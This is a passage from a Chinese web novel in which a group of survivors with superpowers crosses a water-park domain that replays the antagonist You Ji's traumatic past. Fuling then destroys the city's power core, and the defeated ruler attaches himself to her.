“这是……滑梯?”楚河的声音从前方传来,两人朝着他的方向看去。
只见门口连接着一个巨大的红色洞口,内部蜿蜒着朝下,看不清尽头,细细的水流淌过他们的脚边,从洞口内部滑下。
伏苓走在最后,她走出来的瞬间,一道人影背对着他们出现在滑梯口的前面。
还是游寂,不过看上去似乎比刚才的长高了一些。
伏苓不耐烦地啧了一声:“又来?”
她身后又跑来了一个高大的男孩子,猛地将游寂推开:“滚开,我先滑,”
游寂被推到地上,那男孩子头也不回地滑了下去。
程承皱眉看着,没发表言论。
他总觉得,这人说不定还会做出什么惊世骇俗的行为。
一个小女孩从程承身侧走过去,她垂着眸看向游寂,语气中带着显而易见的怜悯:“你先滑吧,我可以在你后面。”
游寂手臂撑着,声音冷淡:“不用,我不喜欢滑梯。”
元真啧啧啧了两声:“好绝情的男人。”
小女孩歪了歪脑袋,语气天真:“你肯定是喜欢的呀,不然怎么会站在这里这么长时间?我爸爸说了,虽然你做的事情很过分,但这都是因为你过得不好,所以才……啊!”
她的话还没说完,游寂猛地站起身来,一把将她从滑梯上推了下去。女孩子的尖叫声响破天际。
楚河的眉头狠狠地皱了起来。
游寂转身,黑漆漆的眸子死死盯着伏苓。
半晌,他缓缓消散。
伏苓不解:“这人是不是有什么精神类的疾病?”
程承叹了口气摇摇头:“不知道。”
他顿了顿,凑近滑梯看了两眼,道:“我第一个走吧。”
他用红雾裹着自己的身体,朝着伏苓点了点头,然后干脆地从洞口滑下。
身体破开水流的声音响起,半分钟后,底下传来重物掉落水面的声音,留在伏苓耳垂上的血兔传来程承的声音:“没问题,下来吧。”
伏苓松了口气,勾着上面的洞壁转头对楚河道:“跟上。”
说完,她毫不犹豫地跃入洞中。
元真讷讷:“这么急吗?”
楚河垂着眸,又很快笑了一声,他拍拍元真的脑袋:“走了。”
-
滑道从伏苓身下迅速向下延伸,仿佛永远没有尽头一般,身体如箭般破开空气,风声呼啸在耳边,水珠喷溅在脸上。
伏苓试图微微使力让自己处于战备状态,但随着速度的加快,她完全使不上力,只能顺着重力的引导飞速向下坠去。
下一瞬,身体骤然悬空,红色的通道壁在她眸中断开,映入眼帘的是高耸而明亮的透明屋顶,阳光照入,她不由得闭上了眼睛。
身体坠入温热的水中,溅起阵阵水花。
有人揽住了她的腰,将她带出水面。
伏苓睁眼,对上了程承满是笑意的眸子。
他头发已然湿透,乖顺地垂下,晶莹剔透的水珠从他的睫毛上垂落下来,顺着他的脸颊滴落在胸口。
他喉结轻轻滚动,带落了几滴水珠,显得格外漂亮:“没事吧?”
伏苓没说话,她注视着程承的眸子,直到程承有些担心地凑近了些,正准备问她是不是伤到哪了的时候。
她突然抬起手,指尖如羽毛一般轻轻拨了下程承湿透的睫毛。
水珠顺着她的手心滑落,滴在水面上。
程承微微一颤,定定看着她,轻声道:“伏苓?”
指尖顺着睫毛落在眼尾,程承不受控地闭了闭眼,用脸颊去蹭她的手心。
伏苓微微勾唇,挑逗一般划过他微张的唇瓣,勾过他凌厉的下颌,最后轻飘飘地落在他因为紧张而滚动的喉结上。
程承抬手虚虚握住她为非作歹的手,声音莫名有些哑:“伏苓。”
伏苓弯了弯眼,笑着凑近,唇瓣几乎要碰上他的耳朵。她微微张口,用只有他们俩能听见的声音说了三个字。
程承的脸倏然红了。
他转头,几乎是赧然地看着伏苓满是笑意的眸子,咬着唇内的软肉避开了她的目光。
看着他红透的耳尖,伏苓满意地拉开了距离。
“你们俩真的很离谱。”元真的声音传来,他木着一张脸:“就算现在没遇到什么危险,你们也不能这么旁若无人地打情骂俏啊喂!”
伏苓泰然自若地松开程承:“什么打情骂俏,我们只是友好交流一下,你跟楚河也可以交流啊。”
刚滑下来砸进水里的楚河:“……”
大可不必。
滑梯的下方是一条狭窄的泳道,水位只有一米二左右,但周围还是放了好几个成人泳圈,伏苓挑了一个最花里胡哨的,将手臂和半个上身都挂在游泳圈上,漫不经心继续道:“等你有对象你就知道了。”
元真:……妈的。
他微笑:“好的。”
几人顺着水流朝前走去——当然,伏苓是漂着的。楚河他们身高都不算矮,走在一米二的水里速度也没有减慢多少。
前方再次出现了游寂的身影,几个人正大笑着将他的脑袋摁进水里。
程承叹了口气:“这是势必要让我们看到他童年的全过程了?”
伏苓跟着叹了口气:“狗贼一个。”
楚河:“……”
为首的男生抓着游寂的头发将他从水里扯出来,水流从他的脸上划过,他表情麻木,目光无神,仿佛早已死去。
那男生恶狠狠地凑近:“怎么样,杂种?跪下给我道歉,我就原谅你把我刚写完的暑假作业都烧了的事情。”
伏苓:“……这招真狠。”
游寂闭着眼睛笑了两声,语气虚弱,却难掩谄媚和求饶的意思:“我错了,我这就给你磕头,我生下来不就是为了给你磕头吗?”
话音落下,投影又消散了。
伏苓嗤了一声,继续往前划。
程承皱着眉跟在她身后:“这一次他的态度转变好大,是发生什么事情了吗?”
“也可能是发现自己打不过他们,为了活命放下尊严。”楚河说。
元真嫌恶地“咦”了一声:“那他之前还天天作死?”
拐了几个弯后,终于出现了离开泳池的台阶,伏苓趴在泳圈上划着水转了一圈:“还要走多久啊。”
程承一路上都红着耳尖,此刻连忙扶住伏苓怕她掉下来:“还不清楚,再忍一忍吧。”
其实也算不上“忍”,虽然这地方奇奇怪怪的,又经常有某个混蛋强行出现在他们面前,但总体来说也算得上舒服,暖气开得正好,就连泳道里的水都是温温热热的。
楚河推开前方厚重的门,热气从里面涌出来,元真探头探脑:“桑拿房?”
伏苓将头发上的水挤出来了些许:“人家还怪好的,杀我们之前还特意给我们洗个澡蒸个桑拿。”
程承:“……”
楚河:“……”
元真:“……好地狱的笑话。”
伏苓笑了两声,无意间跟程承对上视线,她轻轻眨了眨眼睛,满意地看到程承的耳尖再次变得通红。
她率先走了进去:“走吧,我们又不会原路返回。”
桑拿房里烟雾缭绕,前方时不时出现几个木头柱子,四周都看不清尽头,只能隐隐约约觉得这个房间不算小,或者是算得上是个极大的房间。
但也正是因此,便会让闯入者陷入其中,迷失方向。
房间很热,伏苓的汗水大颗大颗地向下滑落,她不免有些烦躁:“往哪走?”
程承运起红雾,雾气以他为中心,向四周迅速散去,末处的红雾变成一个兔爪子的形状,在墙壁上摸索着。
游寂又出现了。
在侧边的烟雾缭绕中。
伏苓骂道:“你烦不烦?阴魂不散的。”
游寂独身一人走着,旁边路过一个又一个穿着校服的学生,每一个路过前都会故意撞一下他的肩膀,但游寂始终默默承受着,一言不发。
伏苓嗤笑:“干得好,被全校孤立了?这次又是做了什么惊天动地的大事?”
他站在一个中年男人的身前,那人似乎是他的老师,不带情绪地说着:“介于我们班同学被你举报聚众抄袭,今年的奖学金名额只有你有。”
游寂抬起眼,他笑得温润:“老师,我也举报了你私下补课,您的奖金也没有了。”
……哇。
伏苓叹为观止。
程承没忍住笑出了声。
游寂这边还在继续废话,红雾却终于找到了关闭着的大门。
程承抹了把汗:“找到了,这边走。”
伏苓立马跟上:“真是服了,谁要看他的童年经历?”
楚河呼出一口气,问道:“对了,还不知道你们在外面发生了什么事情?”
元真有些尴尬地挠了挠脑袋:“就是派了一队人去围剿他们。”
程承侧头看过来:“说起来,我有一件事很好奇。”
元真:“你说你说。”
“那些分组围剿的人,似乎都是研究过我们异能的优缺点后,专门挑选出来最适合击破我们的人选。”程承声音淡淡,虽然先前他说的是问个问题,但他的语气确是陈述的。
元真点点头:“对,当时言灵还把高等区的异能者都聚集在一起,据说当时他们讨论了很久,才根据你们的异能推举出几个人出来。”
程承皱了皱眉。
元真继续道:“当时我还在被洗脑,集会我并没有资格参加,但是据说高等区里面找不到其他适合围剿你们的人了,所以才从监狱里找到了我。”
“也正是因为我被选中,所以之后对我的洗脑更加频繁,要不然的话,我还能凭借意志抵抗一下,尽量不去伤害楚哥呢。”
他委委屈屈地看了楚河一眼。
楚河有些无奈:“都说了没怪你。”
程承摸了摸下巴,思索道:“但言灵怎么会知道我们的异能?”
空寂的房间里陡然一静,伏苓皱了皱眉:“是哦,当时我跟那个言灵打架的时候,他都知道我的名字了。”
元真惊悚:“你还跟言灵打过架?什么时候?面对面吗?”
伏苓:“……就是你被抓走的那天晚上。”
说到这个,楚河还有些心有余悸:“当时在房间外的时候,伏苓就已经受伤了,确定了言灵的位置之后,她还不管不顾地冲了上去。”
程承的思路断了一瞬,他看向伏苓,轻声道:“以后不能这样了,如果……”
他突然顿住。
如果什么?
如果他没有来的话,还是如果血兔不愿意救她的话?
其实当时伏苓获救最主要的原因并不是他的到来,而是血兔的治疗。
血兔无论如何都会保住她。
所以自己要说的这句话,似乎也变得无足轻重起来。
甚至他这个人,也变得无关紧要了。
他突然顿住,伏苓有些奇怪地看了他一眼,道:“我知道,下次不会。”
程承的唇瓣张了又张,最后只说了句“嗯”。
“我当时好像听警卫员说过一些。”元真回忆道:“他们说,整个丰镐都在‘父亲’的掌握之中,‘父亲’的强大,也并非只是因为他的异能。”
“并非只是因为他的异能?”楚河捕捉到了关键字:“那他引以为仗的还有什么?”
“核心。”程承冷静地吐出两个字,他的面色逐渐变得凝重:“也就是说,除了言灵,他依靠核心而能做出的其他手段,还没有对我们使用。”
伏苓推开了厚重的大门,光亮照了进来。
前方是三条巨大的平行通道,两两中间是一条装满水的泳道,通道两侧装上了白色的栏杆,而这三个通道先是笔直的冲向前方,在接近百米处冲天而起,直直地向上延伸,而出口就在这三个通道的尽头。
几人聊天的声音戛然而止,元真颤颤巍巍地指着冲天而起的通道:“我们要……爬上去?”
“不懂。”伏苓没怎么犹豫,踏上了通道向前走去:“但我觉得应该不会。”
程承蹲下来碰
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了碰地面:“应该不会让我们爬,地上还有水迹,很滑,爬不上去的。”
楚河跟上去:“走一步看一步吧。”
他继续起了之前的话题:“那你觉得他那个核心还能有什么手段?”
程承:“让我们传送的那些漩涡,算不算是一种手段?”
早在之前程承就很疑惑,一个言灵,究竟要怎么样才能做到将所有人从不同的地方转移到不同的地方去。
如果将这些跟核心挂上钩的话,那就有的解释了。
路上再一次出现投影。
这一次的场景似乎是在公司里面,一个男人猛地窜到游寂身前,厉声质问:“我从没见过你这么自私的人,为了往上爬不择手段,甚至不惜以我们这些同事为踏板,你到底想干什么?”
伏苓抱着臂穿过投影,无视了个彻底:“核心的手段只有一个吗?”
程承摇摇头:“我看未必,你看我们脚下的路。”
他们几个脚程快,两个天的功夫就已经走到了方才看到的拐点,按照刚才他们所见的景象来说,他们此时应该已经往上爬去。
但实际上却是,他们依旧站在平地上,而身后的通道,却从原本的与地面平行变成了从天而降。
通俗点来讲,大致的感觉就是他们在走的时候,这个房间也在转。
楚河笑了声:“这种房间,都可能用人力造出来。”
“所以这也有可能是核心做的吗?”元真道。
游寂的投影跟着他们往前滑动,始终停在他们前面五米之处。
面对男人的质问,游寂声音温柔,笑眼弯弯:“不想干什么,就只是想把你们踩在脚下,收起你们泛滥的怜悯和同情,我不需要。我只需要你们都匍匐在我的脚下,仰视着我。”
元真咂舌。
程承打量着周围的场景,还是没关注投影:“那么问题来了,据我们所知这个核心的力量非常的强大,那为什么言灵去把核心的力量用在这些与提升战斗毫无关系的地方?他到底是怎么想的?”
伏苓插嘴道:“而且,他还说,不要破坏丰镐的生活。”
程承:“对,这句话我也听过很多遍。但我是在那些围剿我的人口中听到的。按照他们的意思来说,我们的出现破坏他们的平静,所以他们要杀我们,以维持他们生活的美好。”
游寂声音大了起来,显得有些歇斯底里:“我就是讨厌你们所有人!你以为我真的想护住丰镐的百姓吗?我只是需要这样一批忠实的信徒,无论是谁,死了也无所谓,换一批人也无所谓,我只在乎他们的目光。”
“因为我们的目的是毁掉核心。”楚河声音淡淡:“而他们却非常依赖核心。”
程承打了个响指:“差不多,所以我们才站在他们的对立面。他想护住核心。”
外界一片混乱,只有丰镐这里保持着与原先几乎别无二致的生活,他们不愿意打破现状也可以理解。
楚河冷哼了一声:“可笑,这颗核心除了能满足他的私欲以外,根本护不住百姓多久,甚至在未来很可能是夺走他们性命的利器。这个‘父亲’就是纯纯的坏种。”
关于人性的问题,讨论不出个结果来。但程承知道,若是想要结束这场天灾,想要护住所有人的性命,毁掉各城核心是其中必不可少的一环。
“你们听不见吗!”游寂嘶吼着,像一只癫狂的野兽。
伏苓瞥了他一眼,敷衍道:“哦。”
游寂:“……”
说着说着,几人已经来到了门前。程承抓住了门把手。
他有预感,这扇门就是结束了。
伏苓冲他点了点头,楚河和元真也戒备起来。
程承深呼吸几下,利落地拉开了大门。
喧闹的人声带着绚丽的彩带扑面而来,熟悉的声音从高昂的广播喇叭中传出来:“让我们欢迎新加入的伙伴们!”
一时间,欢呼声此起彼伏,无数人笑着转过头来,将彩带对准他们。
程承微微靠前挡在伏苓身前。
眼前俨然一幅和平年代的水上乐园模样,头顶是透明的玻璃天花板,危险的雨滴被隔绝在外,内部的天花板上放置的好些个日光灯,让室内看上去就如同被阳光照耀一般温暖。
视线往下,最先入目的是一个巨大的、类似于舞台的存在,后方的背景上灯光耀眼夺目,站在中间最为显眼的,正是游寂。
他丝毫没有投影里面狼狈癫狂的模样,反而拿着话筒,笑吟吟地注视着伏苓,说的话带着明显的诱导:“这几天丰镐来了很多外地的朋友,他们对我们的生活不解、疑惑,甚至想摧毁。”
下方的百姓发出阵阵谴责的呼声,清澈冰凉的水扑上伏苓的小腿。
她垂眸,才发现台下的那些百姓都身处于半人高的泳池内,绚丽的彩带飘在水面上,数不清的彩带、亮片正源源不断的从半空中飘下。
她不禁有些恍惚。
这样的场景像极了灾难还未发生时最为繁华欢乐的泳池音乐节现场,竟然让她生出了些许错觉,以为自己回到了当年和平的岁月。
游寂享受着人们的追捧,和对伏苓这类人的抨击,他得意地看了一眼伏苓,抬手向下压了压,人群的欢呼立马小了下去,他清了清嗓子:“没有在丰镐生活过的人,怎么会知道我们到底过的是什么样的生活?”
他伸手,不知从何处喷来的水柱落在他的手上,清澈的水流从他的指缝溢走,他垂着眸,看着手上残留的水渍:“你看,外界的人谁看到水不害怕得躲得远远的?但我们却不一样,我们的生活与之前而言,别无二致。”
“我们的水从不会让百姓变成失去理智的感染者,我们生活的地方、我们的周围也永远都只有正常的人类。”
他顿了顿,目光直直地看着伏苓,似是在反问:“明明我们的生活如此平静,你们为什么一定要打破它?”
他笑了笑,带着些许疯狂地摊开手,目光慈爱地看着底下的人:“你们说是吗?我的孩子们。”
台下的欢呼变得疯狂,无数人撕心裂肺地呼唤着“父亲”,场面热闹繁华,却又仿佛像是一场梦。
程承笑了一声,凑近了伏苓:“他好像不知道刚刚我们见到的投影,不然不可能还在这装爱民。”
伏苓抱着臂冷哼一声:“等我一会去揭穿他。”
元真起了一身鸡皮疙瘩:“好恐怖的场景,跟中邪了一样。”
“可以理解。”楚河淡淡道:“在末世里,有一个人像救世主一样,创造了一个和曾经别无二致的世界,是谁都会把它奉为神明,更何况被言灵影响。”
正说着,欢呼声又骤然一降,几人面色凝重地朝前方看去,只见游寂笑眯眯地让开了些许,露出了在他身后被挡住的精致台面。
上面俨然放着一颗深红色的核心。
伏苓的目光变得凌厉起来。
游寂道:“现在我就将核心放在这里,想要毁掉它的,尽情来吧。”
话音未落,四面八方的各个角落里猛地窜出了数个的人影,飞驰着朝核心袭去。
程承反应极快地意识到这应该是被祝无忧拉过来的人,他急忙出声阻止:“等等!”
伏苓抬眼,对上了游寂深邃的目光,他对着伏苓做了一个“请”的姿势。
伏苓心中冒出一股难以说明的恐慌情绪,她还没来得及说什么,程承倒吸一口凉气:“冲上去的人都消失了。”
她猛地看去。
冲在第一个的人应该已经踩上了舞台,但这时候,舞台上却仍然只有游寂一人。
而接下来即将踏上舞台的人发生的事情,却让她缓缓睁大了眼睛。
只见那人如同进入了一个屏障一般,身体从踏入舞台的那只脚开始,像一块被烧毁的纸一样,消失在了众人的视线中。
四周陡然安静一瞬,所有人的目光都目不转睛的盯着舞台上那些人消失的地方。
时针一刻不停地走着,距离那些人消失已经过去了一分钟,依旧是毫无动静。
周围的人开始慌了,而丰镐的百姓却开始欢呼起来。
程承呢喃:“这就是核心的力量吗?”
能悄无声息地让一个人凭空消失?还是说只是把他们都转移到一个地方,让大家以为他们被抹杀了?
程承脑子高速运转,额间的汗大颗大颗地落下。
怎么办,要不要去?
他知道核心的实力,也知道如果踏入舞台当真是被核心抹杀的必要条件,那他们这样毫无准备地冲进去,肯定是必死无疑。
但如果不去的话,怎么样才能毁掉核心呢?
伏苓缓缓举起了能量枪。
程承眼前一亮。
对,他们还有枪!有能量枪的话,或许他们可以能在不踏上舞台的情况下,毁掉那个核心。
但事情转变得极快,伏苓开枪时,游寂没有半分慌乱,反而悠哉地离远了些。
程承瞳孔微缩。
他突然意识到了不妙。
那发能量弹,以极快的速度撞向舞台,却在快要进入舞台的那一瞬间,被一道无形的结界拦住了。
能量弹失去冲击力,散落在地上。
伏苓毫不意外地将能量枪塞了回去:“果然,这道结界只有人才可以过去吗。”
她侧过头,看向程承,冷声道:“我去。”
程承看着她的眼睛,呼吸急促了几分:“不行,这个核心明显不对劲……”
伏苓点点头:“对,确实不对劲。所以只有我才能毁掉它。”
程承有些急:“伏苓!你有什么证据证明别人进去都必死无疑的情况下,你能活着出来?”
他第一次怒上心头,咬着牙道:“如果没有,你就不要去。”
楚河和元真也同样不赞同地看着伏苓。
虽然此时看上去确实是毁掉核心的最佳时机,但这很明显是游寂大大方方给他们展示的一个陷阱。
楚河劝道:“如果这些人进去还能平安无事地出来,那这言灵根本没必要整这一出。他明目张胆地将核心搬到台面上,就是在告诉我们,这个核心是不可能被摧毁的,试图摧毁它的人,也不可能活下来。”
伏苓没说话,只是看着程承怄气不愿看她的样子,突然出声道:“我是特殊的,不是吗?”
62. 百世同堂10
楚河微微皱了皱眉。
程承的睫毛却猛地颤了颤。
不管是血兔对伏苓的态度,还是伏苓身上萦绕着的谜团,又或者是在之前,每一次与异能者对抗的过程中,伏苓展现出来的特殊体质,都昭示着,伏苓与他,与周围的所有人都是不一样的。
如果这个核心只有一个人能摧毁的话,那这个人,一定是伏苓。
他指尖不受控地痉挛,眼眶微微泛红,固执地问道:“那如果,如果你出事了呢?”
伏苓缓缓眨了眨眼睛:“我觉得我不会出事。”
她转身,迈进了池水之中,侧过头道:“如果真的出事了的话,那我希望,你能替我去往肃州。”
说完,她不顾身后人的反应,朝着舞台走去。
游寂轻蔑地笑了笑,拍了拍手。
但凡是异能者,一靠近核心就会立刻被核心吸收。
伏苓的异能会是什么呢?
他若有所思地看着她。
先前她受了那么重的伤,此刻却完好无损的站在他面前,难道是疗愈?
又或者是她那把软剑?
不管是什么,游寂都不相信伏苓能逃过被核心吸收的命运。
音响放起了欢快的乐曲,台下的人脸上洋溢着欢乐的笑容,大声地应着歌曲节奏,四周彩带飞舞。
如同在用歌声欢送她的死亡。
在这欢快的氛围中,无数攻击袭向伏苓。
楚河当机立断暂停时间:“快!”
被论坛帖子召集来的人立马与周围人扭打在一起,红雾破开人群,为伏苓杀出一条宽阔大道。
混乱中,有人朝伏苓扑来恶意的水花,软剑瞬间出鞘,几乎擦着那人的脖颈飞了回来。程承一拳砸在那人脸上,咬着牙:“刚才没顾得上你是吧?”
伏苓笑了笑,停在舞台边缘对上了游寂的目光。
她看着那人眼里明目张胆的怜悯,如同教育一个孩子一般道:“你还是没长什么记性。”
话音落下,游寂的脸色陡然变了变,他意识到不对,想要阻止时伏苓已经用手撑着舞台翻了上去。
被结界包裹的那一瞬,红雾如同疯了一般穿过人群,肆虐着缠绕上她的身体,将她每一寸肌肤都包裹得严严实实。
伏苓动作微顿,哪怕已经做了决定,他也还是放不下心让自己单独去冒险。
粘稠感爬满全身,将红雾整个捏碎,踏上舞台的那一瞬,周围的人声消失不见,四面八方宛如被一层厚厚的浓雾包围,看不清景象。
最重要的是,一切异能都不存在了。
身为无能力者,伏苓对异能的感知非常敏感,她可以确定,以核心为中心,方圆五米内,没有一丝异能的存在。
她终于明白了游寂的有恃无恐。
异能出现已经超过八年,八年的时间里,异能者与异能几乎融为一体。异能的消失,未必仅仅只是失去异能,最大的可能是这个异能者都跟着一起消失。
或许这就是那些踏入舞台的人,如今却不见踪迹的原因。
也是游寂敢明目张胆地将核心拿出来的原因。
因为没有一个人能够触碰到核心,也就没有人能够毁掉核心。
可他恰恰遗漏了一个细节,那就是,伏苓并不是异能者。
但这也是最令人意想不到的一点,灾难发生的八年里,敢出来行动的十个人中有九个是异能者,而剩下的那一个无能力者,他的身边一定会有异能者保护。
因此,从来不关注论坛信息的游寂理所当然地认为,这些敢进入丰镐的人一定都是异能者。
同时,因为丰镐核心强大的实力导致人们对异能的敏感度降低,游寂没有办法察觉到伏苓身上并无异能的气息,也是他判断错误重要的原因之一。
伏苓懒散地笑了一声,抬脚向核心走去。
许是意识到了核心对伏苓无效,游寂猛地从一侧的浓雾中冲出来。
他是核心的拥有者,核心似乎没有将他一并抹杀,只是在他靠近的时候暂时剥夺了他的异能。
即便如此,异能被剥离的痛苦就宛如皮肉被生生隔开,令人痛不欲生。他跌跌撞撞地跪倒在地上,看向伏苓的目光中满是祈求:“不要,伏苓,求你,不要毁掉核心。”
伏苓动作一顿,抱着臂靠在抹杀无数异能者的核心上,低眉看他:“为什么?”
游寂的额头因为恐惧和疼痛而沁出冷汗,他咬着牙:“我可以控制这颗核心,我可以保证在未来不让丰镐的百姓死在核心之下,你为什么一定要毁了它?”
伏苓摇了摇头,拎起那颗小小的核心在手上把玩:“你真的了解核心吗?它现在对你言听计从,任你宰割,但你能确保它在未来始终乖顺地听从你的命令吗?”
游寂急了:“就算如此,它也曾保护了我和万千百姓的命啊,你不能因为它未来有作恶的可能,就要毁了它吧?”
伏苓握着那颗核心,目光沉沉地看着游寂:“只保护过你吧。”
游寂猛地愣在原地。
伏苓走近他:“你恐怕还不知道,在我们来的那段路上,到处都是你童年的投影。”
游寂的脸瞬间煞白,但很快,他又恢复常态:“是吗。”
伏苓高高在上地睥睨着他:“你厌恶别人怜悯的目光,厌恶所有过得比你好的人,你想要所有人都能仰视你,尊敬你,认认真真地听你说的每一个字,是吗?”
游寂缓缓抬起头,原本始终温润的眸色显露出复杂的情绪。他直勾勾地看着伏苓,漆黑的眸子像是一个无底洞,看不清里面的神色。
他突然笑了一下:“那又怎么样?我就是这么卑劣,你要杀了我吗?”
“对,我就是一个为了上位不择手段,自私自利的人,最喜欢做的事情就是将美好的人拉入泥潭。我这一生作恶多端,早就准备好去死了。”他双膝跪在地上,状若疯癫地张开双臂,“但是核心给了我一个实现愿望的机会,它让丰镐所有人都用最热烈、最疯狂的目光看向我,我说的每一个字,每一句话,都不再被人忽视。所以我要保护它,我不想让它毁掉,不想再回到曾经的日子怎么了?!我有错吗?”
“这不废话吗?你没错难道是别人的错?”伏苓冷笑一声,抬脚踹了他一脚,“别疯了,看着你爹捏碎核心。”
说完,她微微俯身,在游寂惊慌失措的目光中干脆利落地捏爆核心。
巨大的能量波冲击开来,周围传来了建筑破裂的声音。
伏苓松开手,粉末从她指尖飘落,散落地面。
游寂呆呆地跪在地上,呆呆地看着一地的核心。
像一只失去自己辛苦抢来最心爱玩具的流浪狗。
他突然出声:“伏苓。”
伏苓顿了顿,在崩塌的世界中回头看他。
核心的毁灭像是给游寂当头泼了一盆冰水,他瞬间从方才疯癫的状态中回复些许理智,目光沉沉地看着伏苓:“你,从来没有被我的言灵洗脑,是吗?”
伏苓笑了一声:“如果你只是想说这个,那我可以告诉你,从来都没有。你不会真觉得自己的言灵天下无敌了吧?”
游寂向前膝行了两下,紧紧盯着伏苓:“所以,你所做的一切,关注的一切,都只是因为你想做,想关注,是吗?”
伏苓一脸莫名其妙:“是啊,你有什么事吗?再废话给你舌头拔了。”
“我都可以!你想做什么都可以!”游寂语气猛地高涨,“所以,你刚刚说的,关于我童年的那些事情,你都认真听,认真看了,是吗?!”
最后那两个字他说的又急又快,像是迫不及待得到伏苓的答案。
“你是不是有病?”伏苓转身就走,不想跟这个疯子纠缠。
“伏苓,哈哈哈哈,伏苓!”游寂跌跌撞撞地站起身,朝她一步步走去,他的泪水从眼角滑落,自己却毫无知觉。
他又哭又笑:“你是第一个,发自内心地去听我说话,试图理解我的人。你知道吗伏苓,我从来没有被人尊重过,我的言语,我的行为,我的思想,对于所有人而言,都是无关紧要的东西。只有你,只有你愿意去剖析我的感情,我的经历……”
他还在状若疯魔地念叨着什么,伏苓已经没了耐心,干脆利落地走进浓雾。
见她靠近,四周的浓雾如同一个沉睡的猛兽被唤醒了一般,发了疯似的攻击伏苓。
伏苓不紧不慢地避开浓雾化成的爪子,精准地扔了个炸弹过去。
“砰”。
爆裂之声从舞台中央传出,无形的冲击波向四周扩散,将台下几乎所有人都掀翻在地。
伏苓顺着冲击的力道往外跌去,却落入一个温暖的怀抱。
她下意识勾住程承的脖子,宽厚的大手拢住她的腰身,程承背对着舞台,承担了大部分冲击,在地上滚了好几圈才堪堪停下。
他唇瓣轻轻颤抖,低声呢喃:“我快害怕死了……”
满目狼藉之中,伏苓颤着睫毛,吻上了程承哽咽到说不出话的唇瓣。
建筑崩塌之际,游寂在每个人的脚下开了传送漩涡。
除了最初几个冲上舞台被核心吞噬的人,其他人都没什么大事。
核心已经解决,接下来就是丰镐的收尾。比如开门让被困在丰镐的外地人离开,以及失去核心力量的丰镐该怎么在感染者的围攻下活下去。
不过在此之前,程承还是决定先回到林随遇他们那边休息片刻。他们如今所在的区域是长乐区,要回到千春得一个多小时。
游寂在后面幽幽开口:“我可以送你们过去。”
伏苓:“……”
她面无表情地转头:“你居然没死?”
游寂定定看着她,许久没有言语。
程承缓缓移到两人中间,挡住了伏苓,冷声道:“你有事吗?”
游寂微笑,越过程承的身影盯着伏苓唯一露出来的半个胳膊肘:“伏苓,我要是死了,今天的伤亡可就不止这么点人了。”
伏苓扶着程承的肩膀走出来:“行呗,那你送我们去。”
游寂立马笑了:“好。”
核心的力量还有些许残留在他体内,传送的能力没有被剥夺。游寂笑眯眯地将几人送回千春区的酒店,自己也跟了过去。
楚河冷冷看着他:“你跟过来干什么?”
游寂微笑:“听说你们看到了我小时候的画面。”
楚河顿了一下,不明白他想说什么。
游寂继续微笑:“那你肯定听到了那句‘我这磕头生来就是为磕头而生的’这句话,现在,我找到我要磕的人了,所以我就要跟着她。”
楚河:“……”
伏苓面无表情地看过去,又面无表情地转回来。
天杀的被条疯狗缠上了怎么办?
谁特么要他磕我头?
还自我高潮上了??
程承轻轻叩了叩门。
几秒后,门被拉开,露出林随遇的脸,他看到几人平安归来松了口气,目光却在触及到游寂的时候微微一顿:“他是谁?”
“他是……”程承卡了一下,转头问:“不好意思,您贵姓?”
游寂终于将视线从伏苓身上挪了回来:“游,游寂。”
程承点点头,转过头对林随遇道:“对,就是你想的那样,他就是‘父亲’。”
游寂:“你们就不用喊我父亲了,怪不好意思的。”
程承:“……”
林随遇还没来得及说话,房间里的祝无忧倒吸一口冷气,探出个脑袋来:“什么玩意?!”
游寂笑眯眯地看着她,一字一顿道:“什、么、玩、意?”
祝无忧立马闭嘴了。
程承叹了口气,道:“具体发生了什么之后跟你们详细讲,现在情况就是这人不肯走了。”
林随遇:“……”
他不太理解,困惑道:“直接杀了不就好了?”
程承:“……”
他还没来得及说什么,游寂率先出口:“不好意思,我这个人,唯一的优点就是比较难杀。”
伏苓朝天翻了个白眼:“别管了,先进去,冷死了。”
他们几人还只穿着湿透的贴身衣物,屋外寒风凛冽,纵使几人体质好也抵不住太久。
林随遇点点头,让开了些,目光仍旧紧紧盯在游寂身上。
“随安怎么样?”伏苓走近问道。
闻言,林随遇面上露出一丝焦躁:“还没醒,但状况还挺稳定的。”
伏苓点点头,安慰道:“别急。”
程承看了她一眼,想说什么,又抿住了唇。
江则从里屋探出脑袋,看到游寂顿时大惊失色:“父亲!您也被抓了?!”
游寂:“……”
他沉默了两秒,看向伏苓:“他能不能放了?”
江则眼前一亮,期待地看向伏苓。
伏苓靠在椅背上,用眼神询问程承。
程承思索了片刻。
如今游寂对他们没什么恶意,算是暂时归顺了,江则此人又是游寂的狂热信徒,只要游寂没有攻击他们的想法,放了江则也没什么关系。
他点了点头,收回了将江则捆得严严实实的红雾。
一得到解放,江则顿时从地上跳了起来,他扫过冷冷盯着他的人群,识趣地缩在游寂身侧,默默瞪着祝无忧。
楚河拿了一堆房卡递给众人:“前台给的。”
伏苓随意抽了一张房卡,突然想到了什么,站直身体:“你们这门禁是什么时候?”
游寂见她看自己,感到荒唐:“我们门禁什么时候跟你有关系吗?”
你有遵守过一次门禁规则吗?!
伏苓瞥了他一眼:“你别管。”
游寂:“十一点到三点。一般来说,三点之后的行动,我就不会再怎么管了,但是基本上都是五六点之后才会有人出门。”
伏苓看了眼时间,已经六点多了,她随手拿了一件外套外裤穿上,将房卡塞到口袋里,点了点游寂:“跟我走,接个人。”
程承抬眼看过来,张嘴想说什么,舔了舔唇瓣又没开口。
游寂指着自己:“我?”
原来在伏苓眼里自己已经这么值得信任了吗?
伏苓有些不耐烦地看了他一眼:“对。”
如果林随安没受伤,她才不乐意带着一条疯狗去接人。
两人干脆地关了门离开,程承沉默了一瞬,道:“这一晚大家都辛苦了,各自回房间休息吧,核心已经被毁,其他事先不着急。”
闻言,大家各自拿了房卡回到自己的房间。
程承将自己和伏苓的湿衣服一起塞进房间里的洗衣机,纠结了片刻后,出了房间在大厅的沙发上坐下。
他低下头,给伏苓发去讯息:“我在楼下大厅等你。”
伏苓始终没回,他也没再打扰,安安静静地靠在沙发上发着呆,不知道在想些什么。
*
伏苓看着游寂,冷声命令:“开传送,去栎阳区。”
游寂笑眯眯:“好的哦。”
伏苓:“……”
她微笑转头:“正常说话,不然杀了你。”
游寂也回以一个微笑:“好的哦。”
“……”
伏苓不想理这个傻逼。
游寂抬手,黑色的漩涡在他们眼前展开,伏苓二话不说地跨了进去。
出来的地点在栎阳区一楼大厅,伏苓从漩涡中走出来的时候,就看到眼巴巴看向这边的服务员的目光从惊喜变成惊恐。
